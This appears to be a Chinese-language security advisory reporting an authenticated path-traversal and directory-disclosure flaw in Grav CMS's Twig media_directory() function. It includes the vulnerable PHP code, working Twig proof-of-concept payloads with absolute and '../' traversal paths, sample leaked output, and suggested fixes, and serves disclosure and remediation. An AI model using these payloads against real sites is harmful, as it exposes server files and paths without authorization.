media_directory() 实现任意目录泄露姓名: CYBER-SEC
联系方式: [email protected]
Grav 的 Twig 函数 media_directory() 在页面内容 Twig 沙箱白名单中暴露,但未对非流输入正确执行路径包含限制。
具有页面编辑权限的认证用户可以调用 media_directory('/绝对/路径'),或在启用 Twig 的页面内容中使用 media_directory('../../../../path') 等相对遍历方式。Grav 随后会索引 Web 服务器用户可读取目录中的媒体类型文件。
返回的 Medium 对象会暴露沙箱允许的属性,如 filepath 和 filename,从而导致任意目录枚举和绝对文件系统路径泄露。对于图像/SVG 文件,URL 或缓存生成可能通过 Grav 的公共缓存处理暴露文件。
这是一个认证信息泄露漏洞。目前已知无法进行未认证利用或直接远程代码执行。
产品: Grav 平面文件 CMS
仓库: https://github.com/getgrav/grav
已验证受影响版本: 2.0.3、2.0.4、2.0.6
组件: Twig media_directory() / Grav 页面内容 Twig 沙箱
向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
基础评分: 6.5 中等
漏洞点位于:
system/src/Grav/Common/Twig/Extension/GravExtension.php
相关逻辑:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
只有 stream:// 输入会通过 Grav 的定位器解析。非流的绝对或相对路径会原样传递给 new Media($media_dir),未进行规范的 realpath() 验证、遍历拒绝,也未限制在受批准的 Grav 控制目录内。
该函数通过页面内容 Twig 沙箱白名单暴露:
system/config/security.yaml
allowed_functions:
- media_directory
沙箱还允许 Medium 的方法/属性,例如:
filepath
filename
url
cache
resize
这使得经过认证的页面编辑者能够泄露任意可读目录中的文件名和绝对路径。对于图像/SVG 文件,公共 URL/缓存生成可能暴露文件内容。
启用 Twig 内容处理后,创建或编辑一个 Grav 页面并插入:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
遍历形式:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
图像/SVG 暴露示例:
{{ media_directory('/绝对/路径/到/私有')['secret.svg'].url }}
当页面保存并渲染时,Grav 会索引攻击者控制路径下的文件,并暴露文件名和绝对文件系统路径。
使用 linuxserver/grav:latest Docker 镜像针对 Grav 2.0.6 进行了验证。
观察到的结果包括:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
相对遍历也已确认:
../../../../app/www/public
在受控的本地测试环境中,通过 .url 暴露 SVG 文件也已确认。
经过认证的页面编辑者可以:
此漏洞属于泄露类,不应报告为远程代码执行。
建议的修复方案:
media_directory。或:
media_directory() 应用严格的规范路径包含限制:realpath() 解析所有路径。user://pages、user://images 或其他明确批准的媒体目录。此问题由 CYBER-SEC 报告。